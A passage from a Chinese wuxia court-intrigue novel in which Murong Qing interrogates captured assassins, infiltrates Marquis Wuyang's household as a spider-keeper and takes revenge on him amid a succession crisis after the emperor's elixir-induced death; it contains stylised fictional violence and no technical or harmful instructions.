这里似乎是山间一处废弃的猎户木屋,他从榻上支起身体,打量四周。
陈设简陋,灰尘满布,桌子唯一的东西是一枚乌黑泛着幽光的菱形小镖——看来正是此物不久前险些要了他的命。
“我昏迷多久了,”四和问道,“那些人呢?”
“大概一个时辰。”慕容青走到窗边看了看外面的天色,“你中毒之后我封住他们周身大穴,就地绑了,然后给你喂了解药。你既然能醒过来,说明毒性大部分已解,应该没事了。”
她说着,活动了一下手腕,提刀欲行,“你且好生歇着,我回矿洞一趟。”
“等等。”四和叫住她。
“?”慕容青回首,眼中带着询问,“若是还有哪里不适也属正常,等进了城,我们再寻大夫好生调理,清除余毒。”
“不是,你的手怎么了?”四和注意到她右手缠着几圈渗血的布条,在失去意识前,他分明记得她并没有受伤,“那些杀手还有残党?”
“哦这个,”慕容青随口应道,“总有个把垂死挣扎的,不妨事。行了,我先走了,总不好把‘客人’晾得太久。”
算算时间,“神仙醉”的药效早该过了,但矿洞深处,却异乎寻常地安静,只有一片此起彼伏的粗重呼吸声——毕竟为了防止这些死士服毒自尽,慕容青特地把他们的下颌都卸掉了。
手法算不得温柔,或许有的装回去后,会有点不那么周正。
剩下几个没卸的,是因为已经来不及。
在意识到身体失控的瞬间,其中训练有素的“佼佼者”,毫不犹豫地结束了自己的生命。
矿洞里有很多叫不上名字的多足虫、蜘蛛和湿滑的四脚蛇,眼下它们找到了新鲜的食物,正聚集在一处大快朵颐,火把跳动的光亮把这一切映得光怪陆离,形同森罗鬼域。
不过慕容青并没有在还活着的人眼中看到害怕,有的只是空洞和麻木,像提线的人偶,只剩下躯壳,令人望之生寒。
她叹口气,将被虫豸啃噬的尸体单手提溜到一边,横七竖八地堆叠起来,像是筑了一座小而残酷的京观。
此前那个大放厥词的头领,被她像扔烂泥般丢在这尸堆之上——因着点穴时故意加重了手法,此人刚刚转醒,正处在混沌与惊骇之中。
待他彻底看清身边如同炼狱般的景象,更是脸色惨白如纸,冷汗涔涔而下,很快浸湿了衣领。
慕容青对上他眼中无法掩饰的恐惧,只觉荒谬可笑。这个人嘴里没有□□,她检查过,所以便随手向上一托,替他合上了下颌——果然有点歪。
“世……世子殿下,小人替王爷做事,也是迫不得已。”
他声音发颤,可以想见若非穴道被制、手脚被缚,此刻必已匍匐在地,卑躬屈膝,“恳求殿下饶命!从今往后,我等愿效犬马之劳,认您做新主!”
“你想投效于我,”慕容青面无表情,声音里听不出半分喜怒,“你能保证其他人也是如此吗?”
头领迎上面前人居高临下的冰冷目光,喉头不自觉地滚动了一下,忙表忠心道:“我们这样的人生来就是趁手的工具,只会听命行事,绝不会有别的想法!”
“哈。”慕容青可以说是非常敷衍地冷笑了一声,“他们或许是,但你不是。真正被常年豢养、驯化的工具,是不会在失败后谈条件求生的。你看着他们。”
巧的是,一条肥软的吸血虫正从头领背后死不瞑目的人脸上往前蛄蛹,看起来很快就要爬到头领脸上。
“他们自尽之前,可没有多说一个字。这样的工具才是‘合格’的工具,到死都不知世间还有其他活法。”
慕容青眸光如刀,直直钉入头领眼中,“你想活命,便先交待清楚你们控制了多少这样的人,藏在什么地方,如果属实,我会考虑让你活着走出这个矿洞。”
“……”对方低下头,嘴唇哆嗦得像风中的落叶,内心显然在天人交战,迟迟不敢开口。
慕容青并不着急,不紧不慢地抛出一个地名:“天池岭。是这个地方吧?”
头领脸上的血色霎时褪得干干净净,似是难以置信这极密之地为何会被人知晓。就在他嘴唇翕动,想要说些什么的时候——“噗——”
一口乌黑的毒血突然从他身后的“尸体”嘴中喷射过来,溅满头领面门!
慕容青反应极快,几乎是同时出手阻拦,却还是慢了一瞬。
谁能料想那气息断绝的尸体竟还能骤然回光返照,濒死也要完成最后的任务,慕容青愕然看着,比起愤怒,更多的是悲凉。
剧毒入体的头领双眼暴突,望向慕容青呃呃啊啊竟似求救,却一个字也吐不出来,最终脑袋一歪,气绝身亡,眼中残留着浓烈的不甘。
而他身后那具“尸体”,早已真正魂归幽冥。
这场变故自然不只是被慕容青一个人看见,但环顾周围,那些人的眼中却没有任何波动。
没有惊讶、没有恐惧、没有愤怒,甚至没有对同伴的痛惜和怜悯——那是一种比冷漠更虚无的寂静。实话实说,她已经无法理解他们的内心是一个怎样的世界。
慕容青缓缓吐出一口积压在胸的浊气,握紧了手中长刀,一步步向这些人走去。她亦不想如此,但……
“等等!”
四和从暗处快步走出,因为动作太急牵动了伤口,脸色又白了几分,额角渗出细汗。
慕容青一早便察觉他隐匿在后方悄然跟随,没打算避讳所以懒得点破。她持刀的手暂且顿住,挑眉反问:“不然呢?”
四和深吸一口气,压下肩伤带来的疼痛,正色道:“他们既是俘虏,便该交由官府明正典刑。公子说过,不可擅动私刑,随意处决。”
“……啊?”慕容青差点以为自己耳朵出毛病了,表情相当之微妙。<
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法办,这是当年在奉安大典,叫自己宁可错杀不可放过,斩尽来使一个不留的“公主”该说的话吗?可能吗!
四和看到她眼底明摆的质疑,态度坚定地补充道:“此非生死搏杀之时,没必要赶尽杀绝。公子素来教诲,滥杀非正道,亦非王道。”
也对,此一时彼一时,慕容青低低笑了起来,笑声在矿洞中回荡,带着说不清的意味:“好一个王道!行,就依你。”
她手腕一翻,收刀入鞘,转又运指如风,精准利落地废去了剩余杀手的丹田气海。如此一来,这些人武功尽废,再交由官府也稳妥些。
趁夜,一封字迹潦草的匿名信被扔进了柳临城朱红色的府衙大门。
信上言辞简洁,只道在城外废弃矿洞中,发现一群身份不明、欲图行刺晋王世子的悍匪,现已被制服捆缚,请官府速派差役前往收押,详加审讯。
算来这倒是她第二次擒匪报官了,然而等级相差之大,令人咋舌。慕容青摇摇头,感慨世事无常。
当夜,他们投宿客栈,却是接连客满,好不容易找到一家尚有空房的,掌柜的却告知,只剩下最后一间。
“你肩上有伤,余毒也未清干净,需要好好休养,你睡床。”慕容青推开房门,大大方方把四和让进去道,“我这就加三倍价让隔壁的出去另外找地方,我睡隔壁。”
“……”四和略为迟疑,“我可以睡树上。”
“那怎么行呢?”慕容青挥挥手,“明天出城了再睡树上吧,今天先好好休息。”
言罢,她转身便去敲响了隔壁的房门。开门的是个云游方士模样的中年人,一番交涉,收足了银两便拽着包袱满意离去。
那灰布包袱上绣着一枚奇怪的图案,似花非花,似云非云。
四和心里咯噔一声,面上不动声色——联络暗号他当然认得,现在却绝非接头的好时机。此番私自行动,纯属违命,他可不想被人押送到公子面前。
等此事了结,他自会去陈情请罪。
“臭牛鼻子正是穷疯了,敢收我五倍价,”眼前的“公子”对着钱袋没好气地嘀咕道,“藏头露尾的什么忙也没帮上,还好意思讹钱,什么人哪。”
“什么?”四和茫然问。
“没什么,你且放心。”对方跨步进屋,轻飘飘送出几个字:“我们离王都只有一步之遥了,不必与他们汇合。”
四和心中骇浪滔天,不知道她到底了解到何种地步,又是如何了解的。事到如今,自己若还信她是个普通工匠之女,不如找块豆腐撞死算了。
“你到底是什么人?”
木门“咔”一声关上——
“没钱的穷人。”
……
翌日清晨,柳临城的知府大人接到神秘人馈赠的烫手山芋,是如何坐如针毡头皮发麻,便是后话了。
此事干系重大,他不敢怠慢,也不敢私下处理,连忙转递上峰。而上峰更不敢擅专,最后层层上报,历经辗转,竟是摆到了宫廷御案之上。
而建极帝并无心处理这等微末琐事。朝野纷争也好,军国要务也罢,于当下的他来说,皆是过眼云烟,不值一哂。
自敕令皇子监国后,他只关心一件事情——今日玄羽国师,醒来了吗?
56. 长生
云天观今日来了一位贵客。
从山脚下起,身着玄甲、腰佩利刃的禁军侍卫五步一岗、十步一哨,将整座灵麓山封锁得水泼不进。
原本想烧香祈福的百姓见状只好悻悻离去,不知是哪位天潢贵胄,竟摆得如此大的排场。
近些年来,云天教声势日益壮大,信众遍及朝野,已俨然是天下第一教派。
半山腰处,一道观依山而建,飞檐斗拱掩映在苍劲古木之间,朱红廊柱与琉璃宝顶锃光瓦亮,显出一股庄严而富丽的气象。
而同样华美的精舍之中,御赐的鎏金香炉青烟袅袅,气氛却十分凝重。
手执一柄孔雀羽扇的大太监王瑾,正如履薄冰地为建极帝打扇送风——时值冬日,屋内虽燃着银丝炭,却也绝不到需要扇风解凉的程度。
可建极帝看起来的确很热,脸颊泛红,额角渗出细密的汗珠,那是一种因极度紧张或是期盼而产生的焦灼。
伴君如伴虎,此刻的建极帝让王瑾连大气都不敢出。
他们面前隔着一道绘有山水墨韵的紫檀木座屏风,屏风后,太医院院判方承正屏息凝神,为榻上昏睡之人仔细诊脉。
建极帝手中茶盏早已失了温度,他却浑然未觉。
半晌,方院判起身绕过屏风,向建极帝行礼禀报道:“陛下洪福齐天!国师大人内息充盈,脉象有力,身体极为康健,应当很快就能转醒。”
仿佛为了印证这番话一般,建极帝刚颔首命其退下,屏风后便传来一阵窸窣响动。
在建极帝骤然亮起的目光下,玄羽国师从屏风后缓步而出,只见她整个人神采风姿更胜从前,一双凤目精光流转,气定神闲道:“劳陛下圣心亲临,贫道惶恐。”
有道是红颜易老,芳华难留,若非亲眼所见,建极帝怎会信他这位长姐竟真能七日回春,观之年轻十岁不止,满头鬓发再无半点霜色。
“多谢陛下隆恩,贫道此番脱胎换骨,皆仰仗陛下天恩浩荡。”
“国师无恙,朕便放心了。”
建极帝含笑起身,极为少有的,说出了一句全无作伪的真心话。他将玄羽国师又从头到脚细细打量一遍,心中最后一块大石轰然落地,难以言喻的狂喜决堤而出,令他几乎站立不稳。
此刻的建极帝心绪激荡翻涌,哪里还会继续在此蹉跎时间——他亲自来,不过是怕被人蒙蔽罢了。连寒暄都是略略,圣驾即刻回鸾。
銮驾直奔丹霞宫而去。
这座宫殿早前已被彻底肃清,除却建极帝心腹,无人得以靠近。
入殿前,建极帝最后一次传出口谕:此后一月,任何人不得打扰其闭关静修,为国祈福。
尽管他心知开龙脉、掘仙丹一事劳师动众,绝无可能半点风声不漏,但只要他得获长生,自然有的是时间慢慢料理,抹去一切痕迹。
殿内,烛火灼灼如昼,映照着中央乌沉沉的先帝梓宫,一切都与七日前无异。
他年轻的兄长还是盛年时的模样,安详地沉睡着,唇边甚至凝固着一丝若有若无的笑意,仿佛昨日刚与他论道于御花园中。
建极帝心如擂鼓,他太喜欢夺走他所有的一切了——他一把摘掉棺椁内盛放的仙果,如同对待世间最珍贵的瑰宝,轻轻地将它捧在手心。
仙果入手温润,光华内蕴,散发着诱人的清香。建极帝痴迷地观赏了片刻,眼角余光不经意间再次扫过棺椁——
“嗬!”
他猛地倒吸一口冷气,方才还“栩栩如生”的先帝,整张脸竟以肉眼可见的速度开始干瘪、灰败。
不仅皮肤失去了所有光泽,眼窝深陷,褶皱满布,连嘴唇都萎缩,露出森白牙齿,真正呈现出属于死人的可怖模样。
国师所言果然不错,那么这仙果再不服下,便要失效了。建极帝朗声大笑起来,将手中果实一口吞下!
他对生命与权力从来都有着极致的渴望,从未改变。
仙果入口即化,顺着咽喉直入肚腹,通达百骸。建极帝眼神迷离,只觉得浑身舒泰无比,仿佛已置身极乐仙境,喃喃呓语道:“长生……朕……长生……”
旋即,他脚下虚浮,身体不受控制地晃动起来,如同醉酒一般。
“陛下!陛下药力发作,亟需安寝!”
一直侍立在角落、密切观察的大太监王瑾上前一步,与另一位小黄门一左一右,稳稳扶住了这九五之尊险些软倒的身躯。
建极帝已完全沉醉于长生的美梦,任由他二人搀扶着,步履蹒跚地走向内室铺着明黄锦被的龙榻。
他被放倒在绵软的被褥之中,涎水不受控制地自歪斜的嘴角淌下,浸透了衣领。
王瑾恭恭敬敬为建极帝掖好被角,放下幔帐,再如往常一样吹灭近前的蜡烛,退回到阴影之中。
他祖籍金陵,讲话素来柔声细语,此时也并不例外。
“陛下,”他用微不可闻的气音,颤声道:“您就……好好安歇吧。”
而相隔数里的宫墙之后,澄明宫灯火通明,皇子燕平仍端坐于堆积如山的案牍之后,秉烛披览政务。他看起来始终沉静而专注,唯有眼底深处偶尔掠过的一丝锐利,能显露出心绪的不平。
一名内侍蹑手蹑脚步入殿中,跪伏在地,喏喏低语了几句。
燕平执笔的手一顿,墨迹在纸上洇开一小团阴影。他抬起眼,眸中并无太多波澜,而是看向了窗外的月色。
月明星稀,一如当年。
随着月色在渐起的晨光中淡去,星辰也沉落于将明的天际。
第一缕曙光驱散了长夜的寒意,将整座王城的轮廓从黑暗中温柔地剥离出来,为屋瓦飞檐镀上了一层灰蓝色的边。
而王都西市“来财赌坊”里的赌客们,连夜鏖战,也到了散场时分。
没曾想,这大清早的楼下却是熙熙攘攘,不少匆匆忙忙赶来接自家老爷少爷的,一个比一个火急火燎。
慕容青本就睡得浅,加之五感异于常人,一点动静便醒了,当即支起窗子,竖着耳朵听。
“……我的少爷哟!您怎么还在这儿!昨夜巡防营突然换防,半夜点卯,您人不在,上面已经怪罪下来了!”一个带着哭腔的声音在不远处响起。
这个声音带着哭腔还未落,另几个粗哑嗓门更是激动,一下子盖了过来,怒气十足。
“你个龟孙!我说你昨个儿夜里不好好当值,人跑哪去了,原来又是在这鬼混!你知不知道出大事……”
“二舅!快别赌了!吏部天没亮就来人了,说是上头连着下了好几道急令,快快快,快跟我回去!”
这些人来得快去得更快,慕容青倚在窗边,朦胧听了个半阕,倒也心下了然。自“晋王世子”平安回都,摇身一变成为皇子监国,局面就摆明到了弓开满月,一触即发之时。
若说她不在乎建极帝的生死,那是自欺欺人。
君要臣死的那一套困得住慕容家的族老,于她却全是虚言。从道不从君,道在君者从之,君无道则死有余辜,不是吗?
昔日隐忍,只为黎民苍生,如今她再无顾忌,恨不能……
不能。
从现在起,才是真正最混乱、最危险的时刻。有时刀需要在暗处,才能发挥它最大的作用。
悄无声息地收拾好为数不多的几样东西,慕容青换了身行头,又看了眼隔壁——此前既已打过招呼,便不算不告而别了吧。
西市的佣役牙行每日开门,来的都是一群短褐穿结、捉襟见肘的穷苦老少,鲜有几个光鲜体面的,一看就是雇主管事之类的人物。
此时冷不丁冒出个普通男子,看起来穷不穷富不富,正在门口招徕主顾的牙人还真不清楚他意欲如何。
见此人目光四下扫视,牙人抱着手臂,试探着问:“你是来
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寻活儿,还是寻人?”
慕容青上前一步,微微躬身,操着一口略显生硬的西南口音,低声道:“寻人,也结缘。”
市井里都是人精,牙人立知有生意可做,来了兴趣:“哦?怎么个说法?”
“在下是一名虫师。寻的是王城里懂虫、玩虫的大家,结的自然是机缘。”
言下之意,聘金给少了不干。“结缘”二字,在这行当里,就是挑雇主的意思。
“嗬,口气不小。”
牙人眼中精光一闪,斗虫是达官贵人公子哥儿都喜欢玩的消遣,若真是有本事的虫师,那确实是个香饽饽,他的抽佣也能跟着水涨船高。
“王城里斗虫的老爷们多了,不知阁下擅长哪一路?”
“喜子。”慕容青道,“相虫、斗网在下都擅长,尤擅喂养,不知王城可有贵人赏识?”
“喜子”是蜘蛛讨口彩的叫法,世有“蜘蛛集而百事喜”之说,故又称蜘蛛为喜虫,蜘蛛下网乃是“喜从天降”。
牙人一听,果然心生欢喜,这王城的勋贵圈子里,最好此道的非武阳侯莫属,那可是位高权重、富贵泼天的主儿。
而且,武阳侯府上隔三差五就会寻觅新的虫师,东西两市的牙行都知道这条门路,一有合适的新人就推荐过去,只要被相看上,赏钱都极为丰厚。
不过,他们干这行也是见多识广,不会轻易被空话唬住。
“阁下口说无凭,如何叫人信服?”
“喏。”慕容青也不多言,直接向前伸出左臂,摊开手掌。只见其掌心之中,赫然趴伏着一只黑白相间的大毛蜘蛛,聱牙尖凸,八足曲张,好似下一刻就要弹到牙人脸上。
“哎哟我的娘!”牙人吓得猛退一步,差点跌坐到地上,指着那蜘蛛结结巴巴道,“这、这个有毒吧?”
“无妨,”慕容青淡定收回手,“它乖得很,不咬人。”
“那就好,那就好,”牙人惊魂未定地直拍胸口,强自镇定地干笑道,“如此定然无事。”
“哦?”慕容青故作疑惑地反问,“会有什么事?”
牙人心道不好,刚才一惊之下嘴快了,连忙打了个哈哈,试图掩饰过去:“我是说,阁下有这等本事,定然能在侯爷府上谋得好差事!”
武阳侯府每年收进去那么多虫师,说是更换,可没人瞧见过旧的虫师出来。牙行生意还是照常做,但有些事情,没人敢捅破那层窗户纸。
毕竟他们也只是仰人鼻息的小老百姓,有钱赚就行了,管那么多作甚!
“还未请教阁下高姓大名,可有路引?且先进来登记一下。”
慕容青面露难色:“在下姓穆名青,路引前些时日不慎丢了,尚未及补。”
什么路引丢了,牙人眉头几不可察地皱了一下,这不就是流民吗?
但转念一想,流民岂不是更好?无根无萍,意味着也无人追究,后续的麻烦事更少,自己这钱反倒拿得更妥帖。
“行,穆先生是吧?”他脸上又堆起笑容,“不打紧,跟我来!”
“多谢通融。”慕容青面上客气地拱手,实则心如明镜。
在赌坊蛰伏的这些时日,她听闻武阳侯喜好斗蛛,但只在自家府邸闭门赏玩,从不与外人相斗,很是低调谦和。
低调是低调,林荣一贯如此。谦和却未必。那“影缚丝”她可是亲身领教过,要保有那般精巧歹毒的机关,必得常年豢养大量毒蛛,取其新鲜的蛛丝。
常在河边走,哪有不湿鞋,蜘蛛越毒,换虫师的速度当然就越快,在武阳侯眼中,虫与虫师都是同样的消耗品。
而这,正是她的机会。
上次夜探侯府失手,打草惊蛇,侯府护卫必然数倍于之前。
她或可再寻一个月黑风高之夜强行闯入,但不够稳妥,也没有必要。
有些旧账,该得好好清算了。
57. 了断
时近正午,武阳侯府庭院深深,石阶斑驳,几株老树被风吹得叶片直落。慕容青——此刻是西南虫师“穆青”,跟在引路的管事身后,垂首敛目,步履谨慎,恰到好处地表现出几分初入高门的不安与恭顺。
“穆先生,你初入侯府,当牢记府里的规矩。”
管事姓钱,边走边背着手絮絮叨叨地交代:
“你须得安生住在这专门的虫院,无事不可乱走。这侯府重地,各处皆有守卫巡视,你若是不小心踏足了不该去的地方,窥见了不该看的东西,谁也保不住你。”
“是,小人明白。”慕容青还是一口刻意学来的蹩脚西南官话,低声应着。
“每日的食材用度,会有人送到你院里。需要什么特别的虫饵或是器物,列个单子交给杂役,自会有人去办。侯爷素喜清静,此地离侯爷的书房不远。”
钱管事说着,特地指了个方向,“你照料那些喜子的时候,务必警醒着点,不可闹出太大动静,惊扰了侯爷。这些,可都记住了?”
“记住了,”慕容青连连点头,“多谢管事大人提点。”
钱管事满意地点点头,正欲再叮嘱几句关于虫院的具体事务,前方假山后却传来一阵渐近的脚步与谈笑声。他脸色一肃,立刻拉了穆青迅速退至道边,躬身垂首。
一行人信步走来,为首者年约五旬,面容清癯,气质儒雅,正是此间主人武阳侯。
他身侧伴着两名身着青色官袍的官员,看品阶不算高,此刻正堆着满脸谄媚的笑容说些什么。
武阳侯目光随意地扫过庭院,并未在无足轻重的下人身上有片刻停顿。
他们看起来欲前往书房议事,尽管尚有一段距离,慕容青的耳朵却清晰地捕捉到了风中飘来的只言片语。
“……侯爷英明,洞察先机。”
“我等甘愿效力……”
武阳侯摆摆手,显然是示意他们在外不要多言,两人立刻噤声,夹着尾巴亦步亦趋。
直到那一行人的身影消失在月洞后,钱管事才直起身松口气,又恢复了之前的姿态:“看到了吧?那便是侯爷。好了,你且随我来,虫院就在这边。”
望着武阳侯消失的方向,慕容青嘴角勾起一丝极浅、极冷的弧度。
猎手潜入猎物的巢穴,等待着致命一击的时刻,原是这种感觉,不知当年林荣在利琅山设伏时,是否也是一样的心情?
接下来的几日,慕容青便在这座被特意隔开的小院里,安分守己地扮演着她虫师的角色。
她每日都会假借训蛛结网的名义,攀上院中那棵高大的老榆树,实则观察内护卫换岗的频率,巡视的路线,以及府中有没有其他的高手、暗卫隐藏。
不得不说,武阳侯府的防卫确实远比她初次潜入时森严数倍,明哨暗卡遍布,尤其是内院,堪称壁垒。
但这些在她面前,都不是阻拦。
不过,时机还没有到。
慕容青慵懒地倚在老榆树虬结的枝杈上,指尖把玩着她带进府中那只黑白相间的喜子,这可是她在赌坊外头花大价钱买的。
小家伙在她手中灵活地攀爬,似乎也想结一张罗网。
是夜,万籁俱寂,慕容青和衣而卧,一动不动,看似已经熟睡。
然而,一阵异常的脚步声匆匆掠过——虽然轻微,但此人鞋履明显与侯府侍卫不同,发出的声响更为沉闷,也更急促。
慕容青心念一动,在黑暗中倏然睁开双眸,翻身下榻,身形一展,已是跳窗追了出去,融入浓重的夜色。
凭借对地形的熟悉,她很快缀上那道黑影。那人身形魁梧,腰间似乎悬着某种令牌,光线昏暗难以看清。
待前方出现一队巡逻的守卫,他不闪不避,而对方恭敬向他行礼,慕容青这才借着火把的光亮看清,来人衣着装束,竟是殿前司副都指挥使。
看来,此番深夜急访,是事前安排好的。
那人直奔武阳侯居住的内院。
内院守卫见之迅速入内通禀,不多时,其中一人引着那位中郎将进入了武阳侯的卧房。
窗纸上,清晰地映出两个相对而坐的人影。
借着花木与假山的掩护,慕容青无声无息绕到卧室后墙,如同一片薄薄的影子,紧紧贴在窗棂下方的阴影里,偷听他们的密谈。
“……宫中确认,陛下服丹后陷入沉眠,无知无觉,丹霞宫守备虽多,无主却也形同虚设!此乃天赐良机!”
“没错,届时只需将陛下之死推到皇子头上,以‘清君侧、护驾’为名,接管宫门易如反掌。”
“只是我们在禁军中的人多被调离,怎么办?”
“黄口小儿,骤登高位,能主什么事?以为拿掉几个无关紧要的副使便能改变大局么?良禽择木而栖,只要晋王殿下许以高官重利,不愁没人投诚。”
“可内阁那边……”
“那些个老狐狸,不过是想寻个根基浅薄、好拿捏的为自己铺路。只要控制了宫禁,一道‘禅让’诏书,自可将这万里江山尽归于晋王殿下,名正言顺!”
……
慕容青在强外听得真切,暗自冷笑。若她此刻乍然现身,打破他们的密会,该是何等精彩?
或许,她还能趁乱夺取某些关键的证据,将他们的阴谋公之于众,但她不想这么做。
如同来时一样,她悄无声息地退走,未留下一丝痕迹。
后两日府中看似一切如常,谁也不曾留意其下的暗流涌动。直到第三日清晨——
“咚——”
“咚——”
“咚——”
沉重、悠长而肃穆的钟声,陡然从皇宫方向传来,一声接着一声,穿透了王都的每一个角落,同样清晰地回荡在武阳侯府的上空。
国丧钟,意味着皇帝驾崩,天地哀恸。
慕容青正在给一只毛色斑斓的巨蛛投喂活虫,闻声停下手里的动作,冷冷一笑。从建极帝闭关的那一刻起,她就知道这一天很快就要到来。
书房内,武阳侯并未如其他官员般,在钟声响起后立刻准备前往宫中哭临,而是独自一人坐在宽大的紫檀木书案后,指节有一下没一下地敲击着光滑的桌面。
他已年过五旬,鬓角染霜,但面容依旧保养得宜,只是眼角的皱纹和略显松弛的下颌,透露出几分岁月和权欲侵蚀的痕迹。
他面前摊开的,并非公务文书或舆图,而是一副裱褙精美的画卷。
画中是一位身着浅碧色罗裙、云鬓微松、手执纨扇的年轻女子,端的是眉目如画,气质灵动。
武阳侯的手指轻轻抚过画中人的脸颊,带着一种近乎迷恋的缱绻,与一股难以言明的阴郁。
就在这时,书房门外传来大管家刻意压低的声音:“侯爷。”
武阳侯眉头微皱,沉声道:“何事?”
管家推门而入,快步走到书案前,躬身急促禀报道:“侯爷,情况有变。我们在宫中的内线,至今没有递出任何消息,失了先手……只怕是已遭不测。”
武阳侯听完脸上并无太多意外之色,沉稳道:“慌什么。不过是黄口小儿,仗着几分运气和肖家的兵权罢了。根基未稳,鹿死谁手,尚未可知。”
他顿了顿,又吩咐:“备车,我要去一趟晋王府。”
“是。”管家应声退下。
书房内重归寂静,只剩下远远传来的宏大的钟声。武阳侯这才重新拾起画卷,准备收起。他指腹摩挲着纸面,目光变得柔和,喃喃自语:“放心吧,我不会……”
话音未落!
一只黑白花纹的大毛蜘蛛忽地从天而降落到他面前,带着倒钩的聱牙瞬间刺入了他因惊骇而微微仰起的脖颈!
“呃!”武阳侯瞳孔骤缩,剧痛与麻痹感瞬间传来!
他一手挥开毒蛛,想要张口大
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声呼叫护卫,然而一股灼热随着剧烈的肿胀感堵塞了他的喉咙,他只能发出嘶哑破碎的“嗬嗬”声,连一个清晰的字都吐不出。
此时,一个带着若有似无嘲讽的声音,突然自他身后帷幔中响起:
“姑父,别来无恙?”
这声音并不大,却如同平地惊雷,狠狠炸响在武阳侯耳边!
“?!”武阳侯骇得魂飞魄散,猛地转身,手中的画卷都差点脱手掉落。
他书房戒备森严,此人是如何潜入的?何况,他叫他什么?
十五年了,怎么会有人……还唤自己那个称呼,慕容家的人,不是早就死绝了吗?!
他难以置信地瞪大双眼,死死盯着那从帷幔后缓缓步出的身影。他当然认得他,那双眼睛,永远亮得惊人,像淬了寒冰的刀锋,他无法忘记。
慕容青一步步向前,脸上没有任何表情,只是纯粹的杀意。她缓缓抽出腰间短刀,刀身狭长,锋芒流转——不过是随手敲晕守卫顺的一把,她从来不挑杀人的兵器。
武阳侯脸上血色尽褪,一瞬间明白了对方的来意,一边踉跄着向后退去,一边不顾喉间火烧火燎的剧痛与麻木,用尽力气,从深处挤出破碎嘶哑、几不可闻的气音:“听、听我解释!当年之事另有隐情……”
与此同时,他的右手悄无声息地摸向书案下方一个隐秘的凸起——书房内自然也装有发射影缚丝的原珠,而那里,正是开启的机关。
寒芒一闪!
动的是慕容青的刀锋,武阳侯喉咙里发出一声不成调的惨吟,双手手腕齐根被斩断,鲜血狂涌而出。
他痛得面容扭曲,满地乱滚,什么儒雅都不见踪影,偏偏喉间仿佛被扼住,想哀嚎都做不到。狼狈至极的武阳侯抬起头,看着面前从无间地狱走出的索命修罗,浑身剧烈颤抖。
慕容青提着滴血的刀,漠然伏视道:“姑父,你可真是坏事做尽。天池岭,是你早年的驻地吧?”
武阳侯嗅到一线生机,用尽残存的气力,断断续续吐字道:“不……那是……我的故乡……你若……想知道……”
慕容青看到他眼中熟悉的算计,忽地扯动嘴角,露出森然的笑意。
“可惜了,我不想。”
咻——猛烈的刀锋带着破风声挥过,干脆利落地斩断了武阳侯的脖颈,没有半点停滞。
炽热的鲜血如同泼墨,一下子溅了满桌,将画中女子的衣裙染上一片刺目的猩红。
武阳侯头颅飞过半空,兀自圆瞪、充满不甘的双眼很快失去神采。
解释也好,隐情也罢,事到如今,慕容青没有任何兴趣听。
这不是她第一次杀人,也不会是最后一次,她不喜欢听人多说废话。
可惜胸中杀意来得急切,忘了先砍掉他的双腿。
很多年前随大伯父去兰江坝时,她连掷三记飞刀钉死了一个试图行刺的杀手。
慕容枢在一旁笑她准头太差,而慕容正则看出她故意,批评道:“戾气过重,只会折损你自己的良心。”
慕容青彼时就不以为然:“我的良心没有那么脆弱。”
但耐心稍有欠缺——人贵有自知之明,慕容青清楚自己从前行事急躁,也不够谨慎,才会被那么简单就算计。
今日,她将武阳侯送去陪了建极帝,终可算是大仇得报,但并未觉得有多快意,概因她所失去的,根本无法用仇人的血弥补。
慕容青轻叹口气,弯腰拾起地上仍在渗血的头颅,顺带草草看了一眼那幅被血玷污的画卷。
上次她夜探侯府,林荣也在看这幅画。
画中女子颇有姿色,慕容青仔细端详,确认并不相识。姑母错信豺狼,好在终是恩怨两消。
她不再耽搁,迅速找了个大小适中的木匣,将武阳侯的头颅硬塞进去扣紧。随即,她身形如风,循着事前早已摸清的路线,以最快的速度潜出侯府。
58. 鸠占鹊巢
“什么动静?”
一名侍女提着灯笼绕到假山后,却见一只狸花猫冲着她“喵呜”叫了一声,转头钻进草丛,消失不见。
她放下心来,对同伴道:“无事,是只野猫。今日王妃心情不佳,晚膳都没用多少,咱们可得小心着点伺候,千万别触了霉头。”
“省得。”另一名侍女连忙点头。”
屏息隐匿在树后的慕容青当即决定跟上这几名侍女,她对晋王府内的格局并不熟悉,一时半会难以确定晋王所在。
耽搁久了,武阳侯出事的消失迟早会传来,跟着她们或许能在晋王妃那碰碰运气。
然而事与愿违。
庭院中仪态端庄、衣着华美的贵妇人独自对月品茗,并未有人相伴。也罢,她本就不愿牵连女眷。
借着月色,慕容青稍作打量,发觉这位晋王妃的侧影颇有几分眼熟。
再仔细凝目一瞧——她竟与武阳侯那幅画像上的女子一般无二!
慕容青立刻想起曾在工部听过的传闻,武阳侯赵毅与现晋王妃林氏是幼时失散的兄妹,十五年前进王都述职时才相认。
偏生是他暗害妻族求取荣华富贵,改名换姓从此平步青云的十五年前么?
眼前浮现林荣对着那幅画像痴恋不已的模样,慕容青一阵恶心,全然不想探究这其中令人作呕的阴私龌龊。
她悄然后撤,转身沿着抄手游廊,准备去往前院继续搜寻。
就在她飞身掠过廊柱的刹那,暗处陡然传来一声厉喝:“什么人?胆敢夜闯王府!”
背着个人头木匣,行动终究不便,气息也难以完全隐匿。慕容青心知行踪已露,当即将背后木匣掷向来人,抽刀迎敌!
木匣立刻被挥到一边,这几名扑来的高手身手凌厉,招式狠辣,打法与寻常侍卫截然不同,招招自取人性命,倒是与那批杀手如出一辙!
慕容青眼神一凛,当下也不客气,足尖猛地一点,身形如飞鸟般冲天而起,避开迎面横扫,旋即凌空一脚踏在袭来的刀锋之上,借势下压劈手直取对方面门!
这一个血流满面尚未软倒,慕容青背后长眼般回手发力又斩一人,同时拧身错步,将矮身攻她下盘的人一脚踢飞!
电光石火间,她已放倒三人,只不过打斗声也使得更多侍卫正迅速向此地集结。
“有刺客!”
“围起来!”
场面一时大乱,甲胄碰撞声、奔跑呼喝、与侍女的惊叫错落交织,若被缠住,陷入重围,自然于她不利,慕容青并不打算恋战,纵身翻墙欲走——
恰在此时,底下厢房的门“吱呀”一声被推开,一位锦衣少年听到外间骚乱,正不顾侍女的阻拦,好奇地探头出来张望。
一个木匣子正滚到他门槛边,匣盖在撞击之下弹开——好巧不巧,武阳侯那颗双目圆瞪、须发皆张的头颅,正赫然对上他的脸!
“父……父亲——!!!”
听到这声呼号,慕容青好险没从墙头栽下去。
父亲?!
武阳侯?!
她原是想时间仓促,未必能顺利解决晋王,那么用武阳侯的头颅出其不意恫吓他一番也好,没曾想,竟意外窥破了这等秘闻!
思及前事,也并非毫无痕迹,晋王此人刚愎自用,志大才疏,又惯于两面三刀,绝非明主。难怪武阳侯多年来甘愿尽心尽力辅佐他……这还真是,打得一手鸠占鹊巢的好算盘。
